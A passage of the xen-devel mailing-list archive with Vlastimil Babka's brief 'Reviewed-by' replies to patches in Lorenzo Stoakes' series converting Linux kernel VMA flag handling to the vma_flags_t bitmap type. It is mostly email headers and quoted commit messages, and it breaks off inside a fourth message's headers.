 <20260711-b4-vma-flags-mm-v2-1-0fa2357d5431@kernel.org>
From: "Vlastimil Babka (SUSE)" <vbabka@kernel.org>
Autocrypt: addr=vbabka@kernel.org; keydata=
 xsFNBFZdmxYBEADsw/SiUSjB0dM+vSh95UkgcHjzEVBlby/Fg+g42O7LAEkCYXi/vvq31JTB
 KxRWDHX0R2tgpFDXHnzZcQywawu8eSq0LxzxFNYMvtB7sV1pxYwej2qx9B75qW2plBs+7+YB
 87tMFA+u+L4Z5xAzIimfLD5EKC56kJ1CsXlM8S/LHcmdD9Ctkn3trYDNnat0eoAcfPIP2OZ+
 9oe9IF/R28zmh0ifLXyJQQz5ofdj4bPf8ecEW0rhcqHfTD8k4yK0xxt3xW+6Exqp9n9bydiy
 tcSAw/TahjW6yrA+6JhSBv1v2tIm+itQc073zjSX8OFL51qQVzRFr7H2UQG33lw2QrvHRXqD
 Ot7ViKam7v0Ho9wEWiQOOZlHItOOXFphWb2yq3nzrKe45oWoSgkxKb97MVsQ+q2SYjJRBBH4
 8qKhphADYxkIP6yut/eaj9ImvRUZZRi0DTc8xfnvHGTjKbJzC2xpFcY0DQbZzuwsIZ8OPJCc
 LM4S7mT25NE5kUTG/TKQCk922vRdGVMoLA7dIQrgXnRXtyT61sg8PG4wcfOnuWf8577aXP1x
 6mzw3/jh3F+oSBHb/GcLC7mvWreJifUL2gEdssGfXhGWBo6zLS3qhgtwjay0Jl+kza1lo+Cv
 BB2T79D4WGdDuVa4eOrQ02TxqGN7G0Biz5ZLRSFzQSQwLn8fbwARAQABzSNWbGFzdGltaWwg
 QmFia2EgPHZiYWJrYUBrZXJuZWwub3JnPsLBsAQTAQoAWhYhBKlA1DSZLC6O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IuBGl/5q2qSakgnAVFWFBR/DO27JuAksYnq
 +aH8vI0xGvwn75KqSk4UzAkDzWSmO4ZHuahKtQgZNsMYV+PGayRBX9b9zbldzopoLBdqHc4n
 jQARAQABwsF8BBgBCgAmAhsMFiEEqUDUNJksLo6ZED1QIk+n58yCpmQFAmfIHFQFCRYU6J8A
 CgkQIk+n58yCpmS2PA//bqN1LfcotmArgElsa+0EGZSQlYgK48pm8WAeTXTngudP9IJ4SuKY
 HR5RNjHcBeqN+Me0zxRqYzRb8nGanHEkDyf4Im8DQM8d6vbyU+FcPmG4skud4kgS1zMHnlVd
 SXfSIwKC/hKgdHG8aBV7545Lz9X6Iohea+94wneD0aw/hqF+QWewGZhWJriWAZtvEkzNjQOi
 4U9F/trLten/x7bpphDSnDMKJtITbtzATT1Dq7o7VpIUK1nCTQALMuMjKCdi8OdU/+V+R3O4
 0PXWvX8qrvqYapVbZ+9KqT74FsuB0Ya9uXwgBF2Q6cRuETZk5vqaqKxzqoQZCO8AOz/58j6O
 2RHNy/mZEN+7tJ5Tsq42zVJ4jxsT8b9YplavCMsnBgDeRWhcbYhCyttoL7nYISyWg4kQYZ/P
 wIV3OuNv2f8iKYsxNsRuClOAF82+gvqOy1/1pprFjy8uo2pkoOrb63aOP3vO5VHnRKgra6dq
 NcaZ+c6J4H+nEJGi2SkHAUJz5oBzuThvPudLvPA/SK8sKoM01IRxSihev/S/5WLazXB1PGem
 OCbvzC1IjWJJraxiDJ5IygokapUa2RP7+WBR22skQ3SSl6G107QgWKSyTOGWEaRmV53vxQLV
 jXuCmzSSasTL60zq5yGrT4/DYQVSNEUiUbG4pYekxJujNeEDkUlky0Y=
In-Reply-To: <20260711-b4-vma-flags-mm-v2-1-0fa2357d5431@kernel.org>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-720697/1784726809-30BC02AC-D925F2D2/0/0
X-purgate-type: clean
X-purgate-size: 668

On 7/11/26 20:44, Lorenzo Stoakes wrote:
> These test whether the VMA has stack semantics, i.e. is able to grow
> upwards or downwards depending on the architecture.
> 
> In order to account for arches which do not support upward-growing stacks,
> introduce VMA_GROWSUP whose definition depends on the architecture
> supporting it, and use vma_flags_test_single_mask() in vma_flags_can_grow()
> to account for this.
> 
> No functional change intended.
> 
> Reviewed-by: Zi Yan <ziy@nvidia.com>
> Reviewed-by: Lance Yang <lance.yang@linux.dev>
> Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>

Reviewed-by: Vlastimil Babka (SUSE) <vbabka@kernel.org>



From xen-devel-bounces@lists.xenproject.org Wed Jul 22 13:34:22 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 22 Jul 2026 13:34:22 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1368439.1617798 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmX5Y-0000L0-S4; Wed, 22 Jul 2026 13:34:20 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1368439.1617798; Wed, 22 Jul 2026 13:34:20 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmX5Y-0000Kt-Oq; Wed, 22 Jul 2026 13:34:20 +0000
Received: by outflank-mailman (input) for mailman id 1368439;
 Wed, 22 Jul 2026 13:34:20 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <vbabka@kernel.org>) id 1wmX5Y-0000Kn-2V
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 13:34:20 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmX5X-00DMVY-BU
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 15:34:19 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <vbabka@kernel.org>)
 id 6a60c6c3-2eae-0a2a0a5409dd-0a2a450190c8-34
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 15:34:19 +0200
Received: from [172.234.252.31] (helo=sea.source.kernel.org)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <vbabka@kernel.org>)
 id 6a60c6d6-5984-0a2a45010019-aceafc1fcb7a-3
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 15:34:15 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by sea.source.kernel.org (Postfix) with ESMTP id A94EB43211;
 Wed, 22 Jul 2026 13:34:13 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id D05801F000E9;
 Wed, 22 Jul 2026 13:33:54 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="Date:Subject:To:Cc:References:From:In-Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1784727253;
	bh=DjW3IoJngeCa8GtjqJn2j2qE4s7NfPfHtuHffq4DmkI=;
	h=Date:Subject:To:Cc:References:From:In-Reply-To;
	b=Xf2Qo7nfk8o5oFsdnRyvwfFlDT+UNHYxpWkdWS9jpYlddyaBbeTmAt4TSKYjBQ6nC
	 VQT5FSiqo8vVJq/R82X3RyjGnMFjVe2qzMcG3VgXV669ofkFC8DZnKS+UkWwrpzb6q
	 Fi0Sx6sVMnRuvnBvyBvom3YRXCjGdDRHypbqW5x1R/Uji66gdMwF7l9mOVCq62z3nl
	 gJr90z+D+N2GhFNNOkLY7sMLu7nS8Z2MkG2ZCFRrrGTu/B/Ym82LsdWUrflTm6uGaV
	 oU9g4AgXa58RSoCWW8YaDO+USyZcemM+PmqZeWYEvuz91dURSvCpGTEaOa63HF+ZkH
	 oAveIZpLt2mkA==
Message-ID: <5d133def-b9ab-4c4a-8c37-3acd05841756@kernel.org>
Date: Wed, 22 Jul 2026 15:33:53 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v2 02/13] mm/vma: update do_mmap() to use vma_flags_t
Content-Language: en-US
To: Lorenzo Stoakes <ljs@kernel.org>,
 Andrew Morton <akpm@linux-foundation.org>,
 David Hildenbrand <david@kernel.org>, "Liam R. Howlett"
 <liam@infradead.org>, Mike Rapoport <rppt@kernel.org>,
 Suren Baghdasaryan <surenb@google.com>, Michal Hocko <mhocko@suse.com>,
 Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
 Benjamin LaHaise <bcrl@kvack.org>, Alexander Viro <viro@zeniv.linux.org.uk>,
 Christian Brauner <brauner@kernel.org>, Jan Kara <jack@suse.cz>,
 Hugh Dickins <hughd@google.com>, Baolin Wang
 <baolin.wang@linux.alibaba.com>, Jann Horn <jannh@google.com>,
 Pedro Falcato <pfalcato@suse.de>, Muchun Song <muchun.song@linux.dev>,
 Oscar Salvador <osalvador@suse.de>, Zi Yan <ziy@nvidia.com>,
 Nico Pache <npache@redhat.com>, Ryan Roberts <ryan.roberts@arm.com>,
 Dev Jain <dev.jain@arm.com>, Barry Song <baohua@kernel.org>,
 Lance Yang <lance.yang@linux.dev>, Usama Arif <usama.arif@linux.dev>,
 Madhavan Srinivasan <maddy@linux.ibm.com>,
 Michael Ellerman <mpe@ellerman.id.au>, Nicholas Piggin <npiggin@gmail.com>,
 "Christophe Leroy (CS GROUP)" <chleroy@kernel.org>,
 Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
 Maxime Ripard <mripard@kernel.org>, Thomas Zimmermann <tzimmermann@suse.de>,
 David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
 Lucas Stach <l.stach@pengutronix.de>,
 Russell King <linux+etnaviv@armlinux.org.uk>,
 Christian Gmeiner <christian.gmeiner@gmail.com>,
 Inki Dae <inki.dae@samsung.com>, Seung-Woo Kim <sw0312.kim@samsung.com>,
 Kyungmin Park <kyungmin.park@samsung.com>,
 Krzysztof Kozlowski <krzk@kernel.org>,
 Peter Griffin <peter.griffin@linaro.org>,
 Alim Akhtar <alim.akhtar@samsung.com>,
 Jani Nikula <jani.nikula@linux.intel.com>,
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
 Rodrigo Vivi <rodrigo.vivi@intel.com>, Tvrtko Ursulin
 <tursulin@ursulin.net>, Rob Clark <robin.clark@oss.qualcomm.com>,
 Dmitry Baryshkov <lumag@kernel.org>, Abhinav Kumar
 <abhinav.kumar@linux.dev>, Jessica Zhang <jesszhan0024@gmail.com>,
 Sean Paul <sean@poorly.run>, Marijn Suijten <marijn.suijten@somainline.org>,
 Lyude Paul <lyude@redhat.com>, Danilo Krummrich <dakr@kernel.org>,
 Tomi Valkeinen <tomi.valkeinen@ideasonboard.com>,
 Sandy Huang <hjc@rock-chips.com>, =?UTF-8?Q?Heiko_St=C3=BCbner?=
 <heiko@sntech.de>, Andy Yan <andy.yan@rock-chips.com>,
 Thierry Reding <thierry.reding@kernel.org>,
 Mikko Perttunen <mperttunen@nvidia.com>,
 Jonathan Hunter <jonathanh@nvidia.com>, Gerd Hoffmann <kraxel@redhat.com>,
 Dmitry Osipenko <dmitry.osipenko@collabora.com>,
 Gurchetan Singh <gurchetansingh@chromium.org>, Chia-I Wu
 <olvaffe@gmail.com>, Zack Rusin <zack.rusin@broadcom.com>,
 Broadcom internal kernel review list
 <bcm-kernel-feedback-list@broadcom.com>,
 Matthew Brost <matthew.brost@intel.com>,
 =?UTF-8?Q?Thomas_Hellstr=C3=B6m?= <thomas.hellstrom@linux.intel.com>,
 Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>,
 Helge Deller <deller@gmx.de>, Kees Cook <kees@kernel.org>,
 Jaroslav Kysela <perex@perex.cz>, Takashi Iwai <tiwai@suse.com>,
 Boris Brezillon <boris.brezillon@collabora.com>,
 Steven Price <steven.price@arm.com>, Liviu Dudau <liviu.dudau@arm.com>
Cc: linux-mm@kvack.org, linux-kernel@vger.kernel.org,
 linux-mips@vger.kernel.org, linux-aio@kvack.org,
 linux-fsdevel@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
 dri-devel@lists.freedesktop.org, etnaviv@lists.freedesktop.org,
 linux-samsung-soc@vger.kernel.org, intel-gfx@lists.freedesktop.org,
 linux-arm-msm@vger.kernel.org, freedreno@lists.freedesktop.org,
 nouveau@lists.freedesktop.org, linux-rockchip@lists.infradead.org,
 linux-tegra@vger.kernel.org, virtualization@lists.linux.dev,
 intel-xe@lists.freedesktop.org, xen-devel@lists.xenproject.org,
 linux-fbdev@vger.kernel.org, linux-sound@vger.kernel.org
References: <20260711-b4-vma-flags-mm-v2-0-0fa2357d5431@kernel.org>
 <20260711-b4-vma-flags-mm-v2-2-0fa2357d5431@kernel.org>
From: "Vlastimil Babka (SUSE)" <vbabka@kernel.org>
Autocrypt: addr=vbabka@kernel.org; keydata=
 xsFNBFZdmxYBEADsw/SiUSjB0dM+vSh95UkgcHjzEVBlby/Fg+g42O7LAEkCYXi/vvq31JTB
 KxRWDHX0R2tgpFDXHnzZcQywawu8eSq0LxzxFNYMvtB7sV1pxYwej2qx9B75qW2plBs+7+YB
 87tMFA+u+L4Z5xAzIimfLD5EKC56kJ1CsXl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i8OdU/+V+R3O4
 0PXWvX8qrvqYapVbZ+9KqT74FsuB0Ya9uXwgBF2Q6cRuETZk5vqaqKxzqoQZCO8AOz/58j6O
 2RHNy/mZEN+7tJ5Tsq42zVJ4jxsT8b9YplavCMsnBgDeRWhcbYhCyttoL7nYISyWg4kQYZ/P
 wIV3OuNv2f8iKYsxNsRuClOAF82+gvqOy1/1pprFjy8uo2pkoOrb63aOP3vO5VHnRKgra6dq
 NcaZ+c6J4H+nEJGi2SkHAUJz5oBzuThvPudLvPA/SK8sKoM01IRxSihev/S/5WLazXB1PGem
 OCbvzC1IjWJJraxiDJ5IygokapUa2RP7+WBR22skQ3SSl6G107QgWKSyTOGWEaRmV53vxQLV
 jXuCmzSSasTL60zq5yGrT4/DYQVSNEUiUbG4pYekxJujNeEDkUlky0Y=
In-Reply-To: <20260711-b4-vma-flags-mm-v2-2-0fa2357d5431@kernel.org>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d62444/1784727256-C4B45757-71FFC619/0/0
X-purgate-type: clean
X-purgate-size: 1370

On 7/11/26 20:44, Lorenzo Stoakes wrote:
> The core do_mmap() function accepts a vm_flags_t parameter which it then
> manipulates before passing to mmap_region() to do the heavy lifting of the
> memory mapping.
> 
> Update do_mmap() to instead accept a vma_flags_t parameter, and adjust all
> the logic within do_mmap() to manipulate this instead.
> 
> This is as part of the ongoing effort to convert VMA flags from a system
> word size to a bitmap type which allows us to unrestrict the number of VMA
> flags, as well as gain control over how VMA flag manipulation occurs.
> 
> We do not cascade these changes to all functions which accept vm_flags_t,
> but rather use vma_flags_to_legacy() where necessary, specifically
> deferring converting calc_vm_prot_bits(), calc_vm_flag_bits() and
> __get_unmapped_area() to vma_flags_t.
> 
> Also utilise the new vma_flags_can_grow() predicate which correctly handles
> the case of architectures without upward growing stacks.
> 
> As part of this change, introduce VMA_SHADOW_STACK so we can correctly
> handle the case of the shadow stack not being defined.
> 
> No functional change intended.
> 
> Reviewed-by: Lance Yang <lance.yang@linux.dev>
> Reviewed-by: Zi Yan <ziy@nvidia.com>
> Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>

Reviewed-by: Vlastimil Babka (SUSE) <vbabka@kernel.org>



From xen-devel-bounces@lists.xenproject.org Wed Jul 22 14:18:15 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 22 Jul 2026 14:18:15 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1368460.1617807 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmXlw-0006Nh-0b; Wed, 22 Jul 2026 14:18:08 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1368460.1617807; Wed, 22 Jul 2026 14:18:07 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmXlv-0006Na-Tm; Wed, 22 Jul 2026 14:18:07 +0000
Received: by outflank-mailman (input) for mailman id 1368460;
 Wed, 22 Jul 2026 14:18:07 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <vbabka@kernel.org>) id 1wmXlu-0006NU-Vx
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 14:18:07 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmXlu-004eWi-4y
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 16:18:06 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <vbabka@kernel.org>)
 id 6a60d119-bab6-0a2a0a5309dd-0a2a4509a2e0-20
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 16:18:05 +0200
Received: from [172.105.4.254] (helo=tor.source.kernel.org)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <vbabka@kernel.org>)
 id 6a60d11c-be1a-0a2a45090019-ac6904fedcd0-3
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 16:18:05 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by tor.source.kernel.org (Postfix) with ESMTP id F1253600B0;
 Wed, 22 Jul 2026 14:18:03 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id 998571F000E9;
 Wed, 22 Jul 2026 14:17:45 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="Date:Subject:To:Cc:References:From:In-Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1784729883;
	bh=nr20QdluTC6Xb2QJCx/L2OqHD3wYjRZzxUHD+ltN0io=;
	h=Date:Subject:To:Cc:References:From:In-Reply-To;
	b=a4vdnNdZSy07RDuS+C9gat8xlWANgEMGre2Gt8w50+S/RARkD/NxqriSXn9wrozPj
	 E5W9CBr1d7eepeguATkGjOrPXaqKaMp0+xcdJH6JVLGWRdkxSRqsBQirTItAu9VNRf
	 xKAJOUg/URAYNGPYd8y4vGKj+ONw/nWOpgBtlfPsR8ltFxfx8IoinmWT2jtQMA7WpP
	 nozoGRCEMkB8851Fg9u/prJ/JOJKbaLEpz8L+8Zr68k62Ilb0p88pE+y3ZC8cSKbhK
	 kBpgQZfX/d3Rxy5rU6yBQqCx1AN3uW+o51yyGmm2In6YviRmTxHVmf6qDl7Zlbt9Ib
	 DwnPnhWrhgAMw==
Message-ID: <ac18f5bc-62a9-41b0-8980-a4c465a4229a@kernel.org>
Date: Wed, 22 Jul 2026 16:17:43 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v2 03/13] mm: convert __get_unmapped_area() to use
 vma_flags_t
Content-Language: en-US
To: Lorenzo Stoakes <ljs@kernel.org>,
 Andrew Morton <akpm@linux-foundation.org>,
 David Hildenbrand <david@kernel.org>, "Liam R. Howlett"
 <liam@infradead.org>, Mike Rapoport <rppt@kernel.org>,
 Suren Baghdasaryan <surenb@google.com>, Michal Hocko <mhocko@suse.com>,
 Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
 Benjamin LaHaise <bcrl@kvack.org>, Alexander Viro <viro@zeniv.linux.org.uk>,
 Christian Brauner <brauner@kernel.org>, Jan Kara <jack@suse.cz>,
 Hugh Dickins <hughd@google.com>, Baolin Wang
 <baolin.wang@linux.alibaba.com>, Jann Horn <jannh@google.com>,
 Pedro Falcato <pfalcato@suse.de>, Muchun Song <muchun.song@linux.dev>,
 Oscar Salvador <osalvador@suse.de>, Zi Yan <ziy@nvidia.com>,
 Nico Pache <npache@redhat.com>, Ryan Roberts <ryan.roberts@arm.com>,
 Dev Jain <dev.jain@arm.com>, Barry Song <baohua@kernel.org>,
 Lance Yang <lance.yang@linux.dev>, Usama Arif <usama.arif@linux.dev>,
 Madhavan Srinivasan <maddy@linux.ibm.com>,
 Michael Ellerman <mpe@ellerman.id.au>, Nicholas Piggin <npiggin@gmail.com>,
 "Christophe Leroy (CS GROUP)" <chleroy@kernel.org>,
 Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
 Maxime Ripard <mripard@kernel.org>, Thomas Zimmermann <tzimmermann@suse.de>,
 David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
 Lucas Stach <l.stach@pengutronix.de>,
 Russell King <linux+etnaviv@armlinux.org.uk>,
 Christian Gmeiner <christian.gmeiner@gmail.com>,
 Inki Dae <inki.dae@samsung.com>, Seung-Woo Kim <sw0312.kim@samsung.com>,
 Kyungmin Park <kyungmin.park@samsung.com>,
 Krzysztof Kozlowski <krzk@kernel.org>,
 Peter Griffin <peter.griffin@linaro.org>,
 Alim Akhtar <alim.akhtar@samsung.com>,
 Jani Nikula <jani.nikula@linux.intel.com>,
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
 Rodrigo Vivi <rodrigo.vivi@intel.com>, Tvrtko Ursulin
 <tursulin@ursulin.net>, Rob Clark <robin.clark@oss.qualcomm.com>,
 Dmitry Baryshkov <lumag@kernel.org>, Abhinav Kumar
 <abhinav.kumar@linux.dev>, Jessica Zhang <jesszhan0024@gmail.com>,
 Sean Paul <sean@poorly.run>, Marijn Suijten <marijn.suijten@somainline.org>,
 Lyude Paul <lyude@redhat.com>, Danilo Krummrich <dakr@kernel.org>,
 Tomi Valkeinen <tomi.valkeinen@ideasonboard.com>,
 Sandy Huang <hjc@rock-chips.com>, =?UTF-8?Q?Heiko_St=C3=BCbner?=
 <heiko@sntech.de>, Andy Yan <andy.yan@rock-chips.com>,
 Thierry Reding <thierry.reding@kernel.org>,
 Mikko Perttunen <mperttunen@nvidia.com>,
 Jonathan Hunter <jonathanh@nvidia.com>, Gerd Hoffmann <kraxel@redhat.com>,
 Dmitry Osipenko <dmitry.osipenko@collabora.com>,
 Gurchetan Singh <gurchetansingh@chromium.org>, Chia-I Wu
 <olvaffe@gmail.com>, Zack Rusin <zack.rusin@broadcom.com>,
 Broadcom internal kernel review list
 <bcm-kernel-feedback-list@broadcom.com>,
 Matthew Brost <matthew.brost@intel.com>,
 =?UTF-8?Q?Thomas_Hellstr=C3=B6m?= <thomas.hellstrom@linux.intel.com>,
 Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>,
 Helge Deller <deller@gmx.de>, Kees Cook <kees@kernel.org>,
 Jaroslav Kysela <perex@perex.cz>, Takashi Iwai <tiwai@suse.com>,
 Boris Brezillon <boris.brezillon@collabora.com>,
 Steven Price <steven.price@arm.com>, Liviu Dudau <liviu.dudau@arm.com>
Cc: linux-mm@kvack.org, linux-kernel@vger.kernel.org,
 linux-mips@vger.kernel.org, linux-aio@kvack.org,
 linux-fsdevel@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
 dri-devel@lists.freedesktop.org, etnaviv@lists.freedesktop.org,
 linux-samsung-soc@vger.kernel.org, intel-gfx@lists.freedesktop.org,
 linux-arm-msm@vger.kernel.org, freedreno@lists.freedesktop.org,
 nouveau@lists.freedesktop.org, linux-rockchip@lists.infradead.org,
 linux-tegra@vger.kernel.org, virtualization@lists.linux.dev,
 intel-xe@lists.freedesktop.org, xen-devel@lists.xenproject.org,
 linux-fbdev@vger.kernel.org, linux-sound@vger.kernel.org
References: <20260711-b4-vma-flags-mm-v2-0-0fa2357d5431@kernel.org>
 <20260711-b4-vma-flags-mm-v2-3-0fa2357d5431@kernel.org>
From: "Vlastimil Babka (SUSE)" <vbabka@kernel.org>
Autocrypt: addr=vbabka@kernel.org; keydata=
 xsFNBFZdmxYBEADsw/SiUSjB0dM+vSh95UkgcHjzEVBlby/Fg+g42O7LAEkCYXi/vvq31JTB
 KxRWDHX0R2tgpFDXHnzZcQywawu8eSq0LxzxFNYMvtB7sV1pxYwej2qx9B75qW2plBs+7+YB
 87tMFA+u+L4Z5xAzIimfLD5EKC56kJ1CsXlM8S/LHcmdD9Ctkn3trYDNnat0eoAcfPIP2OZ+
 9oe9IF/R28zmh0ifLXyJQQz5ofdj4bPf8ecEW0rhcqHfTD8k4yK0xxt3xW+6Exqp9n9bydiy
 tcSAw/TahjW6yrA+6JhSBv1v2tIm+itQc073zjSX8OFL51qQVzRFr7H2U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V3OuNv2f8iKYsxNsRuClOAF82+gvqOy1/1pprFjy8uo2pkoOrb63aOP3vO5VHnRKgra6dq
 NcaZ+c6J4H+nEJGi2SkHAUJz5oBzuThvPudLvPA/SK8sKoM01IRxSihev/S/5WLazXB1PGem
 OCbvzC1IjWJJraxiDJ5IygokapUa2RP7+WBR22skQ3SSl6G107QgWKSyTOGWEaRmV53vxQLV
 jXuCmzSSasTL60zq5yGrT4/DYQVSNEUiUbG4pYekxJujNeEDkUlky0Y=
In-Reply-To: <20260711-b4-vma-flags-mm-v2-3-0fa2357d5431@kernel.org>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-bad1c0/1784729885-FD26A034-E70BD70E/0/0
X-purgate-type: clean
X-purgate-size: 641

On 7/11/26 20:45, Lorenzo Stoakes wrote:
> Update __get_unmapped_area() to be parameterised by vma_flags_t rather than
> vm_flags_t as part of the effort to move VMA flags from a system word to a
> bitmap.
> 
> We cascade the changes up to arch_get_unmapped_area_topdown() and
> arch_get_unmapped_area(), where, for now, we use vma_flags_to_legacy() in
> order to propagate the VMA flags.
> 
> No functional change intended.
> 
> Reviewed-by: Lance Yang <lance.yang@linux.dev>
> Reviewed-by: Zi Yan <ziy@nvidia.com>
> Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>

Reviewed-by: Vlastimil Babka (SUSE) <vbabka@kernel.org>



From xen-devel-bounces@lists.xenproject.org Wed Jul 22 14:19:59 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 22 Jul 2026 14:19:59 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1368470.1617816 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmXni-0006uk-DG; Wed, 22 Jul 2026 14:19:58 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1368470.1617816; Wed, 22 Jul 2026 14:19:58 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmXni-0006ub-Ag; Wed, 22 Jul 2026 14:19:58 +0000
Received: by outflank-mailman (input) for mailman id 1368470;
 Wed, 22 Jul 2026 14:19:57 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <vbabka@kernel.org>) id 1wmXnh-0006uT-0z
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 14:19:57 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmXng-004epy-Do
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 16:19:56 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <vbabka@kernel.org>)
 id 6a60d18b-e002-0a2a0a5209dd-0a2a4503c72c-8
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 16:19:56 +0200
Received: from [172.234.252.31] (helo=sea.source.kernel.org)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <vbabka@kernel.org>)
 id 6a60d18a-fae8-0a2a45030019-aceafc1fd3e2-3
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 16:19:56 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by sea.source.kernel.org (Postfix) with ESMTP id 04F7544EA6;
